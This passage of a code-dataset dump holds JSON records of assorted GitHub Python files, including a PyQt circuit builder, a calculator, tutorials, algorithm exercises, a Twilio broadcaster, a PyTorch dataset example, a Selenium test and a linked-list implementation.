self.capture_action.setToolTip(\"Capture image of the circuit you have drawn\")\n self.capture_action.triggered.connect(self.captureCircuit)\n #This triggers the converstion of circuit to boolean and exports it back to GeneTech\n self.export_action = QAction(\"&Export\", self)\n self.export_action.setShortcut(\"Ctrl+E\")\n self.export_action.setToolTip(\"Export Equation of the circuit you have drawn\")\n self.export_action.triggered.connect(self.exportCircuit)\n #About and New tabs as usual\n self.about_act = QAction(\"&About\", self, statusTip=\"Show the application's About box\", triggered=self.about)\n self.act_new = QAction('&New', self, shortcut='Ctrl+N', statusTip=\"Create new graph\", triggered=self.onFileNew)\n\n def getCurrentNodeEditorWidget(self):\n return self.centralWidget()\n\n def onFileNew(self):\n try:\n subwnd = self.createMdiChild()\n subwnd.show()\n except Exception as e:\n print(e)\n\n def about(self):\n QMessageBox.about(self, \"GeneTech Circuit Builder\")\n\n def setTitle(self):\n title = self.__title + \" New Circuit\"\n self.setWindowTitle(title)\n\n def createMenus(self):\n '''\n Creates menus in the toolbar on the top, there are two\n menus currently namely File and Help\n '''\n self.menu = self.menuBar()\n self.file_menu = self.menu.addMenu(\"File\")\n self.statusBar().showMessage(\"Ready\")\n self.file_menu.addAction(self.capture_action)\n self.file_menu.addAction(self.export_action)\n self.file_menu.addAction(self.act_new)\n self.help_menu = self.menuBar().addMenu(\"&Help\")\n self.help_menu.addAction(self.about_act)\n\n def updateWindowMenu(self):\n pass\n\n def createToolBars(self):\n pass\n\n def createNodesDock(self):\n '''\n Creates a moving dock on the right containing drag drop parts.\n The dock can be adjusted and moved anywhere on the canvas.\n '''\n #this contains all the draggable parts\n self.list_box = MyDraggableBox()\n self.items = QDockWidget(\"Circuit Parts\")\n self.items.setWidget(self.list_box)\n self.items.setFloating(False)\n self.addDockWidget(Qt.RightDockWidgetArea, self.items)\n\n def createMdiChild(self):\n '''\n Creates a new circuit builder canvas on screen.\n '''\n self.circuit_builder = MainScreenWidget(self)\n subwnd = self.mdiArea.addSubWindow(self.circuit_builder)\n return subwnd\n\n def activeMdiChild(self):\n '''\n This returns the Circuit Builder Widget\n '''\n activeSubWindow = self.mdiArea.activeSubWindow()\n if activeSubWindow:\n return activeSubWindow.widget()\n return None\n\n def setActiveSubWindow(self, window):\n if window:\n self.mdiArea.setActiveSubWindow(window)\n\n def createStatusBar(self):\n self.statusBar().showMessage(\"Ready\")\n\n def setActiveSubWindow(self, window):\n if window:\n self.mdiArea.setActiveSubWindow(window)\n\n def captureCircuit(self):\n '''\n To save the image of the circuit: This calculates the bounding\n rect that encompasses all the circuit parts on the screen and\n then captures them in the form of an image.\n '''\n if not self.file_name_image:\n filename, filter = QFileDialog.getSaveFileName(self, \"Save Circuit To Image\")\n self.file_name_image = filename\n self.circuit_builder.scene.grScene.save(filename)\n self.statusBar().showMessage(\"Saved Successfuly\")\n else:\n self.circuit_builder.scene.grScene.save(self.file_name_image)\n self.statusBar().showMessage(\"Saved Successfuly\")\n\n def exportCircuit(self):\n '''\n Exports the drawn circuit to the main GeneTech window:\n This evaluates the output of the circuit and converts it into boolean form.\n '''\n #Evaluate each part as each part has its own boolean expression\n [part.evaluate_output() for part in self.circuit_builder.scene.parts]\n #Evaluate the output of the output part\n output = self.circuit_builder.circuit_output.evaluate_output() if self.circuit_builder.circuit_output else ''\n if not output: #if no output part is selected\n QMessageBox.critical(self, \"Error\", \"Please select an output node\")\n #### This transforms the output into standard sum of product form\n output = output.replace(\"''\", \"\")\n output = output[1:-1] if output[0] == \"(\" and output[-1] == \")\" else output\n # This creates the truth table\n table_val = ttg.Truths(['IPTG', 'aTc', 'Arabinose'], [output])\n table = table_val.as_pandas()\n #Only select those rows which amount to True\n only_ones = table.loc[table.iloc[:, 3] == 1]\n sop = []\n #All the product terms\n for itr, row in only_ones.iterrows():\n #formatting the product term\n string_ = \"IPTG{0}.aTc{1}.Arabinose{2}\".format(\"'\"*row[0], \"'\"*row[1], \"'\"*row[2])\n sop.append(string_)\n #Sum of all the products\n sop = \"+\".join(sop)\n #Hide the current window and show the main window, also process the expression\n self.hide()\n self.main_window.show()\n self.main_window.processDrawEquation(sop)\n\n def readSettings(self):\n '''\n To show the window in the same way as it was shown last time\n '''\n settings = QSettings(self.tool_name, self.plugin_name)\n pos = settings.value('pos', QPoint(200, 200))\n size = settings.value('size', QSize(400, 400))\n self.move(pos)\n self.resize(size)\n\n def writeSettings(self):\n '''\n Saves the settings of the window to show it at the\n same place and of the size size next time its opened.\n '''\n settings = QSettings(self.tool_name, self.plugin_name)\n settings.setValue('pos', self.pos())\n settings.setValue('size', self.size())\n\n\nclass MyDraggableBox(QListWidget):\n def __init__(self, parent=None):\n '''\n This class concerns the draggable parts that we see on the right\n '''\n super().__init__(parent)\n self.initUI()\n\n def initUI(self):\n '''\n Helper function to setup the draggable box Widget\n '''\n self.setIconSize(QSize(48, 48))\n self.setSelectionMode(QAbstractItemView.SingleSelection)\n self.setDragEnabled(True)\n self.addMyItems()\n\n def addMyItems(self):\n '''\n This adds the different draggable items to the QListWidget\n '''\n self.addMyItem(\"AND\", \"./icons/AND.svg\", AND_GATE)\n self.addMyItem(\"NOR\", \"./icons/NOR.svg\", NOR_GATE)\n self.addMyItem(\"NAND\", \"./icons/NAND.svg\", NAND_GATE)\n self.addMyItem(\"NOT\", \"./icons/NOT.svg\", NOT_GATE)\n self.addMyItem(\"OR\", \"./icons/OR.svg\", OR_GATE)\n self.addMyItem(\"INPUT\", \"./icons/input.png\", INPUT_GATE)\n self.addMyItem(\"OUTPUT\", \"./icons/output.png\", OUTPUT_GATE)\n\n def addMyItem(self, name, icon=None, part_type=0):\n '''\n Function to add the draggable part to the QListWidget\n name: name of the part\n icon: icon corresponding the part, in case of output its none\n part_type: a number signifying the part type, will help with drag/drop\n [Different parts and their corresponding part type numbers]\n INPUT_GATE = 0\n OUTPUT_GATE = 1\n NOT_GATE = 2\n OR_GATE = 3\n AND_GATE = 4\n NAND_GATE = 5\n NOR_GATE = 6\n '''\n item = QListWidgetItem(name, self)\n pixmap = QPixmap(icon if icon is not None else \".\")\n item.setIcon(QIcon(icon))\n item.setSizeHint(QSize(48, 48))\n item.setFlags(Qt.ItemIsEnabled | Qt.ItemIsSelectable | Qt.ItemIsDragEnabled)\n # setup data\n item.setData(Qt.UserRole, pixmap)\n item.setData(Qt.UserRole + 1, part_type)\n\n\n def startDrag(self, *args, **kwargs):\n '''\n Function that enables the dragging of the circuit part.\n '''\n try:\n #gets the item being dragged\n item = self.currentItem()\n #part type of the part, a number signifying what part it is\n part_type = item.data(Qt.UserRole + 1)\n #icon corresponding to the part\n pixmap = QPixmap(item.data(Qt.UserRole))\n itemData = QByteArray()\n dataStream = QDataStream(itemData, QIODevice.WriteOnly)\n dataStream << pixmap\n dataStream.writeInt(part_type)\n dataStream.writeQString(item.text())\n mimeData = QMimeData()\n mimeData.setData(mime_type, itemData)\n drag = QDrag(self)\n drag.setMimeData(mimeData)\n drag.setHotSpot(QPoint(pixmap.width() / 2, pixmap.height() / 2))\n drag.setPixmap(pixmap)\n drag.exec_(Qt.MoveAction)\n\n except Exception as e:\n print(e)\n","repo_name":"hasanbaig/GeneTech","sub_path":"src/circuit_canvas/main_window.py","file_name":"main_window.py","file_ext":"py","file_size_in_byte":12182,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"14129301205","text":"\n### convolutional parameters\nK = 49 # size of convolutional filter\nstride = 1 # how often to compute the convolution along the stim axis\npad = K // 2 # we will need to pad stimulus with zeros to perform convolution\n\n### stimulus is 0 in all places except stimulus orientation\nori = 135#np.random.choice(360)\nstimulus = np.zeros(360+2*pad) # pad stimulus by -pad / +pad\nstimulus[ori+pad] = 1.0\n\n### f is a gaussian\n# we will use the code from W2D1 (bayes day) to create this!\n# mean of gaussian mu=0\ni = np.arange(-pad, pad)\nf = my_gaussian(i, 0.0, sigma=10)\n\n### compute the convolution\na = np.nan * np.zeros(360) # initialize convolutional output\nfor x in np.arange(0+pad, 360+pad, stride, int): # loop over positions x\n # compute element-wise multiplication between filter and stimulus\n a[x-pad] = (f * stimulus[x-pad : x+pad]).sum()\n\nwith plt.xkcd():\n fig = plt.figure(figsize=(15,3))\n plot_conv(pad, stimulus, f, a)\n plt.show()","repo_name":"ddinesan/Neuroscience","sub_path":"tutorials/W3D4_DeepLearning1/solutions/W3D4_Tutorial2_Solution_f4f9de01.py","file_name":"W3D4_Tutorial2_Solution_f4f9de01.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21538693694","text":"numero1 = int(input(\"Numero 1: \"))\nnumero2 = int(input(\"Numero 2: \"))\nnumero3 = int(input(\"Numero 3: \"))\nnumero4 = int(input(\"Numero 4: \"))\nnumero5 = int(input(\"Numero 5: \"))\n\n\nresta5 = numero5 - numero1\nresta4 = numero4 - numero1\nresta3 = numero3 - numero1\nresta2 = numero2 - numero1\n\nif resta5 < resta4 and resta5 < resta3 and resta5 < resta2:\n print(f\"El mas cercano a {numero1} es {numero5}\")\n\nif resta4 < resta5 and resta4 < resta3 and resta4 < resta2:\n print(f\"El mas cercano a {numero1} es {numero4}\")\n\nif resta3 < resta4 and resta3 < resta5 and resta3 < resta2:\n print(f\"El mas cercano a {numero1} es {numero3}\")\n\nif resta2 < resta4 and resta2 < resta3 and resta2 < resta5:\n print(f\"El mas cercano a {numero1} es {numero2}\")\n","repo_name":"luisfelipe7799/Proyectos_Python_1","sub_path":"Ejercicios Estructuras repetitivas/Numero cercano al primero.py","file_name":"Numero cercano al primero.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20149257682","text":"from collections import deque\ndef solution(food_times, k):\n queue = deque(zip(food_times, range(1, len(food_times) + 1)))\n if sum(food_times) <= k:\n return -1\n while k:\n try:\n q = queue.popleft()\n if q[0] - 1 != 0:\n queue.append((q[0] - 1, q[1]))\n k -= 1\n except:\n return -1\n\n return queue[0][1]","repo_name":"sm970309/Algorithm-Problem","sub_path":"greedy/6_무지의 먹방 라이브.py","file_name":"6_무지의 먹방 라이브.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15895044195","text":"import time\nimport json\n\nurl1 = \"https://myipv6.p1.opendns.com/get_my_ip\"\nurl2 = \"https://ipv6.icanhazip.com\"\n\nwhile True:\n try:\n response1 = requests.get(url1, headers={\"accept\": \"application/json\"}, timeout=5)\n ip = json.loads(response1.text)['ip']\n\n if not ip:\n response2 = requests.get(url2, timeout=5)\n ip = response2.text.strip()\n\n print(f\"Detected IPv6 address: {ip}\")\n\n except Exception as e:\n print(f\"Error detecting IPv6 address: {e}\")\n\n time.sleep(5)\n","repo_name":"tianrking/ipv6_gen","sub_path":"ip_test.py","file_name":"ip_test.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31524976995","text":"import os\nimport cv2\n\nDATA_FOLDER = './data'\nIMAGE_DATA_FOLDER = os.path.join(DATA_FOLDER, 'images')\nVIDEO_DATA_FOLDER = os.path.join(DATA_FOLDER, 'videos')\n\n\ndef get_iterator(file_path):\n use_video = file_path.endswith('.mp4')\n\n if use_video:\n cap = cv2.VideoCapture(os.path.join(VIDEO_DATA_FOLDER, file_path))\n while (cap.isOpened()):\n _, frame = cap.read()\n yield frame\n # sleep(1)\n cap.release()\n else:\n current_drive_folder = os.path.join(IMAGE_DATA_FOLDER, file_path)\n for filename in os.listdir(current_drive_folder):\n for i in range(3):\n yield cv2.imread(os.path.join(current_drive_folder, filename))","repo_name":"orianhit/autonomousCar","sub_path":"utils/iterate_from_data.py","file_name":"iterate_from_data.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4130380146","text":"import asyncio\nimport aiohttp\nfrom pydantic import Field\nfrom pydantic_settings import BaseSettings\nfrom .broadcaster import Broadcaster\nfrom .consumer import AsyncFortuneCookie\n\nAPI_ENDPOINT_FORMAT = (\n \"https://api.twilio.com/2010-04-01/Accounts/{}/Messages.json\"\n)\n\n\nclass Settings(BaseSettings):\n account_sid: str = Field(..., alias=\"TWILIO_ACCOUNT_SID\")\n auth_token: str = Field(..., alias=\"TWILIO_AUTH_TOKEN\")\n from_number: str = Field(..., alias=\"TWILIO_FROM_PHONENUMBER\")\n api_key: str = Field(..., alias=\"FORTUNE_COOKIE_API_KEY\")\n\n @property\n def twilio_endpoint(self):\n return API_ENDPOINT_FORMAT.format(self.account_sid)\n\n\ndef main(interval, server_address):\n settings = Settings()\n basic_auth = aiohttp.BasicAuth(settings.account_sid, settings.auth_token)\n\n mobile_client = aiohttp.ClientSession(\n auth=basic_auth,\n connector=aiohttp.TCPConnector(limit_per_host=4),\n )\n\n quote_client = AsyncFortuneCookie(server_address, api_key=settings.api_key)\n\n service = Broadcaster(\n quote_client,\n mobile_client,\n settings=settings,\n interval=interval,\n )\n\n loop = asyncio.get_event_loop()\n\n try:\n loop.run_until_complete(service.run_forever())\n finally:\n loop.run_until_complete(mobile_client.close())\n loop.close()\n","repo_name":"hademircii/fortune-cookies","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72517109226","text":"\"\"\"\n\n4) - Crie um algoritmo que leia os elementos de uma matriz inteira de 10 X 10 e imprima as seguintes informações:\n\ta)\tA soma dos elementos onde a soma do índice da linha + o índice da coluna for par;\n\tb)\tA soma dos elementos onde a soma do índice da linha + o índice da coluna for ímpar;\n\tc)\tA quantidade de valores pares na matriz;\n\td)\tA quantidade de valores ímpares na matriz;\n\"\"\"\nvetor = []\nmatriz = []\npar = impar = contImpar = contPar = 0\nfor l in range(0,10,1):\n for c in range (0,10,1):\n vetor.append(int(input(f\"Informe o numero na posição [{l}:{c}] :\")))\n matriz.append(vetor)\n vetor = []\nfor l in range(len(matriz)):\n for c in range(len(matriz[l])):\n if (l + c)% 2 == 0 :\n par = par + matriz[l][c]\n else:\n impar = impar + matriz[l][c]\nfor l in range(len(matriz)):\n for c in range(len(matriz[l])):\n if matriz[l][c] % 2 == 0 :\n contPar = contPar + 1\n else:\n contImpar = contImpar + 1\nprint(\"-=\"*60)\nprint(f\"A soma dos elementos onde a soma do índice da linha + o índice da coluna for Par é : {par}\")\nprint(f\"A soma dos elementos onde a soma do índice da linha + o índice da coluna for Impar é : {impar}\")\nprint(\"-=\"*60)\nprint(f\"A quantidade de valores pares na matriz é : {contPar}\")\nprint(f\"A quantidade de valores impares na matriz é : {contImpar}\")\nprint(\"-=\"*25)\n","repo_name":"FlavioAlvesDS/listas-de-exercicios-em-Python","sub_path":"MATRIZ/Ex04.py","file_name":"Ex04.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17708822265","text":"from django.shortcuts import render\nimport requests\n\n# Create your views here.\n\ndef home(request):\n endpoint = \"http://127.0.0.1:7000/api/products/list/\"\n get_response = requests.get(endpoint)\n data = get_response.json()\n print(data)\n \n context = {\n 'data': data,\n }\n return render(request, 'blog_client/home.html', context)\n","repo_name":"wongani02/django-restframework-cheatsheet","sub_path":"django-restframework/client-view/client-django/blog_client/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"780372577","text":"__all__ = (\"SlewContributionMetric\", \"AveSlewFracMetric\")\n\nimport numpy as np\n\nfrom .base_metric import BaseMetric\n\n# Metrics for dealing with things from the SlewActivities table\n\n\nclass SlewContributionMetric(BaseMetric):\n def __init__(\n self, col=\"actDelay\", activity=None, active_col=\"activity\", in_crit_col=\"inCriticalPath\", **kwargs\n ):\n \"\"\"\n Return the average time, multiplied by fraction of slew --\n considering critical path activities only.\n \"\"\"\n self.col = col\n self.in_crit_col = in_crit_col\n col = [col, in_crit_col]\n col.append(active_col)\n self.active_col = active_col\n self.activity = activity\n super(SlewContributionMetric, self).__init__(col=col, **kwargs)\n self.comment = \"Average time for %s activity (in seconds) when in the critical path, \" % (activity)\n self.comment += \"multiplied by the percent of total slews in the critical path.\"\n\n def run(self, data_slice, slice_point=None):\n # Activities of this type, in critical path.\n good_in_crit = np.where(\n (data_slice[self.active_col] == self.activity) & (data_slice[self.in_crit_col] == \"True\")\n )[0]\n if len(good_in_crit) == 0:\n result = 0.0\n else:\n # All activities in critical path.\n in_crit = np.where((data_slice[self.in_crit_col] == \"True\"))[0]\n # Calculate fraction of total in-critical-path slew activities that this activity represents.\n result = np.sum(data_slice[self.col][good_in_crit]) / np.sum(data_slice[self.col][in_crit])\n # and multiply by the mean time required by this activity.\n result *= np.mean(data_slice[self.col][good_in_crit])\n return result\n\n\nclass AveSlewFracMetric(BaseMetric):\n def __init__(\n self, col=\"actDelay\", activity=None, active_col=\"activity\", id_col=\"SlewHistory_slewCount\", **kwargs\n ):\n \"\"\"\n Return the average time multiplied by fraction of slews.\n \"\"\"\n self.col = col\n self.id_col = id_col\n col = [col, id_col]\n col.append(active_col)\n self.active_col = active_col\n self.activity = activity\n super(AveSlewFracMetric, self).__init__(col=col, **kwargs)\n self.comment = \"Average time for %s activity (in seconds), multiplied by percent of total slews.\" % (\n activity\n )\n\n def run(self, data_slice, slice_point=None):\n good = np.where(data_slice[self.active_col] == self.activity)[0]\n if len(good) == 0:\n result = 0.0\n else:\n result = np.mean(data_slice[self.col][good])\n nslews = np.size(np.unique(data_slice[self.id_col]))\n result = result * np.size(good) / np.float(nslews)\n return result\n","repo_name":"lsst/rubin_sim","sub_path":"rubin_sim/maf/metrics/slew_metrics.py","file_name":"slew_metrics.py","file_ext":"py","file_size_in_byte":2828,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"37"} +{"seq_id":"490414787","text":"\"\"\"\n>>> linked_list = LinkedList()\n>>> linked_list\nLinkedList()\n>>> linked_list.append(20)\n>>> linked_list\nLinkedList(20)\n>>> linked_list.append(30)\n>>> linked_list\nLinkedList(20, 30)\n>>> linked_list.insert(10)\n>>> linked_list\nLinkedList(10, 20, 30)\n>>> for data in linked_list:\n... print(data)\n10\n20\n30\n>>> linked_list.size\n3\n>>> linked_list.remove(40)\n>>> linked_list\nLinkedList(10, 20, 30)\n>>> linked_list.remove(20)\n>>> linked_list\nLinkedList(10, 30)\n>>> linked_list.remove(30)\n>>> linked_list\nLinkedList(10)\n>>> linked_list.remove(10)\n>>> linked_list\nLinkedList()\n>>> linked_list.size\n0\n\"\"\"\nfrom dataclasses import dataclass\nfrom typing import Any, Iterable, Optional\n\n\n@dataclass\nclass Node:\n data: Any\n next_node: Optional['Node'] = None\n\n\nclass LinkedList:\n def __init__(self) -> None:\n self._size = 0\n self._root = None\n\n def append(self, data: Any) -> None:\n \"\"\"\n Insert a node on the end of the list, O(n)\n \"\"\"\n self._size += 1\n node = Node(data=data)\n\n if self._root is None:\n self._root = node\n return\n\n actual = self._root\n while actual.next_node is not None:\n actual = actual.next_node\n\n actual.next_node = node\n\n def insert(self, data: Any) -> None:\n \"\"\"\n Insert a node on the begin of the list: O(1)\n \"\"\"\n self._size += 1\n if self._root is None:\n self._root = Node(data=data)\n else:\n node = Node(data=data, next_node=self._root)\n self._root = node\n\n def remove(self, data: Any) -> None:\n if self._root is None:\n return\n\n if self._root.data == data:\n self._root = self._root.next_node\n self._size -= 1\n return\n\n previous = self._root\n actual = self._root.next_node\n while actual.data != data:\n previous = actual\n actual = actual.next_node\n if actual is None:\n return\n\n previous.next_node = actual.next_node\n self._size -= 1\n\n @property\n def size(self) -> int:\n return self._size\n\n def __iter__(self) -> Iterable[Any]:\n if self._root is None:\n return\n\n yield self._root.data\n\n actual = self._root\n while actual.next_node is not None:\n actual = actual.next_node\n yield actual.data\n\n def __repr__(self) -> str:\n return f'LinkedList({\", \".join(str(x) for x in self)})'\n\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n","repo_name":"drgarcia1986/coding","sub_path":"data-structures/linked-list/python/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"39694698151","text":"# epoch = one forward and backward pass of ALL training samples\n# batch_size = number of training samples used in one forward/backward pass\n# number of iterations = number of passes, each pass (forward+backward) using [batch_size] number of sampes\n# e.g : 100 samples, batch_size=20 -> 100/20=5 iterations for 1 epoch\n\n'''\nTransforms can be applied to PIL images, tensors, ndarrays, or custom data\nduring creation of the DataSet\ncomplete list of built-in transforms: \nhttps://pytorch.org/docs/stable/torchvision/transforms.html\nOn Images\n---------\nCenterCrop, Grayscale, Pad, RandomAffine\nRandomCrop, RandomHorizontalFlip, RandomRotation\nResize, Scale\nOn Tensors\n----------\nLinearTransformation, Normalize, RandomErasing\nConversion\n----------\nToPILImage: from tensor or ndrarray\nToTensor : from numpy.ndarray or PILImage\nGeneric\n-------\nUse Lambda \nCustom\n------\nWrite own class\nCompose multiple Transforms\n---------------------------\ncomposed = transforms.Compose([Rescale(256),\n RandomCrop(224)])\n'''\nfrom dataclasses import dataclass\nfrom logging import root\nfrom random import sample\nfrom xml.dom.expatbuilder import Skipper\nfrom cv2 import transform\nfrom sklearn import datasets\nimport torch\n# import torchvision\nimport numpy as np\nimport math\nfrom torch.utils.data import DataLoader, Dataset \n\nclass WineDataset(Dataset):\n\n def __init__(self, transform=None):\n # Initialize data, download, etc.\n # read with numpy or pandas\n xy = np.loadtxt('.\\pytorch\\wine.csv', delimiter=',', dtype = np.float32, skiprows=1)\n self.n_samples = xy.shape[0]\n\n # here the first column is the class label, the rest are the features\n self.x_data = xy[:, 1:]\n self.y_data = xy[:, [0]]\n\n self.transform = transform\n \n def __getitem__(self, index):\n sample = self.x_data[index], self.y_data[index]\n\n if self.transform:\n sample = self.transform(sample)\n return sample\n\n def __len__(self):\n return self.n_samples\n\nclass ToTensor:\n def __call__(self, sample):\n inputs, targets = sample\n return torch.from_numpy(inputs), torch.from_numpy(targets)\n\nprint('\\nWith out Tensor Transform')\ndataset = WineDataset()\n# get first sample\nfirst_data = dataset[0]\nfeatures, labels = first_data\nprint(type(features), type(labels))\nprint(features, labels)\n\nprint('\\nWith Tensor Transform')\ndataset = WineDataset(ToTensor())\n# get first sample\nfirst_data = dataset[0]\nfeatures, labels = first_data\nprint(type(features), type(labels))\nprint(features, labels)\n","repo_name":"razacode/pytorch_Python","sub_path":"pytorch/09_datasetTransforms.py","file_name":"09_datasetTransforms.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33760254088","text":"# -*- coding: utf-8 -*-\n\"\"\"\n @Time : 2020/6/6 9:42\n @Author : QDY\n @FileName: 55. 跳跃游戏_贪心.py\n\n 给定一个非负整数数组,你最初位于数组的第一个位置。\n 数组中的每个元素代表你在该位置可以跳跃的最大长度。\n 判断你是否能够到达最后一个位置。\n\n 示例 1:\n 输入: [2,3,1,1,4]\n 输出: true\n 解释: 我们可以先跳 1 步,从位置 0 到达 位置 1, 然后再从位置 1 跳 3 步到达最后一个位置。\n\n 示例 2:\n 输入: [3,2,1,0,4]\n 输出: false\n 解释: 无论怎样,你总会到达索引为 3 的位置。但该位置的最大跳跃长度是 0 , 所以你永远不可能到达最后一个位置。\n\n\"\"\"\n\n\nclass Solution:\n def canJump(self, nums):\n length = len(nums)\n if length <= 1: return True\n # 贪心算法,不断计算能跳跃到的最右位置\n # reachable = 0\n # for i in range(length):\n # if i > reachable:\n # return False\n # if i+nums[i] >= length-1:\n # return True\n # reachable = max(i+nums[i], reachable)\n\n to_final = 1 # 记录需要跳跃几步到达的下一个点,可以保证跳到终点\n for i in range(length - 2, -1, -1): # 从倒数第二个往前遍历\n if nums[i] >= to_final: # 若i能跳跃到保证能跳到终点的下一个点\n to_final = 1 # 重置to_final\n else: # 否则令to_final+1\n to_final += 1\n\n return to_final == 1 # i=0时,若nums[i]>=to_final,表示能跳到终点,会将to_final重置\n","repo_name":"QDylan/Learning-","sub_path":"Leetcode/55. 跳跃游戏_贪心.py","file_name":"55. 跳跃游戏_贪心.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"71853618988","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtCore import Qt, QSize\nimport sys\n\nclass Kalkulator(QMainWindow):\n def __init__(self):\n super(Kalkulator, self).__init__()\n\n self.setupMenus()\n self.interfejs()\n\n def interfejs(self):\n\n self.pole = QLCDNumber(self)\n self.pole.setDigitCount(10)\n self.pole.setSizePolicy(QSizePolicy.Ignored, QSizePolicy.Ignored)\n self.pole.setMinimumHeight(40)\n\n self.ukladT = QGridLayout()\n self.ukladT.setSpacing(5)\n\n names = ['','', '', '', '',\n 'MC','MR', 'MS', 'M+', 'M-',\n '←', 'CE', 'C', '±', '√',\n '7', '8', '9', '/', '%',\n '4', '5', '6', '*', '1/x',\n '1', '2', '3', '-', '=',\n '0', '', ',', '+', '']\n\n positions = [(i,j) for i in range(1,8) for j in range(1,6)]\n\n for position, name in zip(positions, names):\n if name == '':\n continue\n self.button = QPushButton(self)\n self.button.setText(name)\n self.button.setMinimumSize(QSize(35, 35))\n if name == '0':\n self.button.resize(self.button.sizeHint())\n self.ukladT.addWidget(self.button, *position, 1,2)\n elif name == '=':\n self.button.resize(self.button.sizeHint())\n self.ukladT.addWidget(self.button, *position, 2,1)\n self.button.setMinimumSize(35,75)\n font = QFont()\n font.setPointSize(15)\n font.setBold(True)\n font.setWeight(50)\n self.button.setFont(font)\n else:\n self.ukladT.addWidget(self.button, *position)\n\n\n mainLayout = QVBoxLayout()\n mainLayout.addWidget(self.pole)\n mainLayout.addLayout(self.ukladT)\n widget = QWidget()\n widget.setLayout(mainLayout)\n self.setCentralWidget(widget)\n\n self.setStyleSheet(\"\"\"QWidget {\n background-color: lavender;\n }\n\n QPushButton {\n background: silver;\n }\n\n QLCDNumber {\n background: white;\n }\n\n QMenuBar {\n background-color: silver;\n }\n\n QMenuBar::item {\n background: silver;\n }\"\"\")\n\n\n self.setGeometry(70, 70, 250, 350)\n self.setWindowIcon(QIcon('kalkulator.png'))\n self.setWindowTitle(\"Kalkulator\")\n\n\n def setupMenus(self):\n\n fileMenu = self.menuBar().addMenu(\"Widok\")\n fileMenu.addSeparator()\n aboutMenu = self.menuBar().addMenu(\"Edycja\")\n aboutMenu.addSeparator()\n helpMenu = self.menuBar().addMenu(\"Pomoc\")\n\n\n\nif __name__ == '__main__':\n\n app = QApplication(sys.argv)\n okno = Kalkulator()\n okno.show()\n sys.exit(app.exec_())","repo_name":"Delicja05/Kalkulator_Python","sub_path":"lab7/kalkulator.py","file_name":"kalkulator.py","file_ext":"py","file_size_in_byte":2926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28030839225","text":"import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.support.select import Select\n\n\nclass TestLocators:\n driverpath = '../../driver/chromedriver'\n driver = webdriver.Chrome(executable_path=driverpath)\n driver.get(\"https://rahulshettyacademy.com/angularpractice/\")\n\n\n @pytest.mark.skip\n def test_verify_title(self):\n title = self.driver.title\n print(f\"Received Title : {title}\")\n assert title == 'ProtoCommerce'\n\n #@pytest.mark.skip\n def test_formsubmission(self):\n #self.driver.find_element_by_name(\"name\").send_keys(\"Ruchi\")\n self.driver.find_element_by_css_selector(\"input[name='name']\").send_keys(\"ruchi\")\n self.driver.find_element_by_name(\"email\").send_keys(\"ruchi@gmail.com\")\n self.driver.find_element_by_css_selector(\"input[type='password']\").send_keys(\"Colt\")\n self.driver.find_element_by_id(\"exampleCheck1\").click()\n\n dropdown = Select(self.driver.find_element_by_id(\"exampleFormControlSelect1\"))\n dropdown.select_by_visible_text(\"Female\")\n dropdown.select_by_index(0)\n #dropdown.select_by_value(\"\")\n self.driver.find_element_by_xpath(\"//input[@value='Submit']\").click()\n message = self.driver.find_element_by_class_name('alert-success').text\n print(len(message))\n print('1st',message[0], message[1])\n message_expected_output = \"Success! The Form has been submitted successfully!.\"\n assert message_expected_output in message\n\n\n\n\n\n\n #def test_HTML_locator(self):\n # TestLocators.Setup()\n\n\n\n\n","repo_name":"ruchisoni7/selenium_test","sub_path":"Framework_Practice/test_locators.py","file_name":"test_locators.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6612071995","text":"from reportlab.pdfgen import canvas\nfrom datetime import datetime\nfrom reportlab.lib.units import inch\n\nfrom django.shortcuts import render\nfrom datetime import datetime\nfrom reportlab.platypus import Image\nfrom reportlab.lib.units import inch\nfrom reportlab.pdfgen import canvas\nimport datetime\n\n\nclass PageNumCanvas(canvas.Canvas):\n \"\"\"\n http://code.activestate.com/recipes/546511-page-x-of-y-with-reportlab/\n http://code.activestate.com/recipes/576832/\n \"\"\"\n #----------------------------------------------------------------------\n\n def __init__(self, *args, **kwargs):\n \"\"\"Constructor\"\"\"\n canvas.Canvas.__init__(self, *args, **kwargs)\n self.pages = []\n\n #----------------------------------------------------------------------\n def showPage(self):\n \"\"\"\n On a page break, add information to the list\n 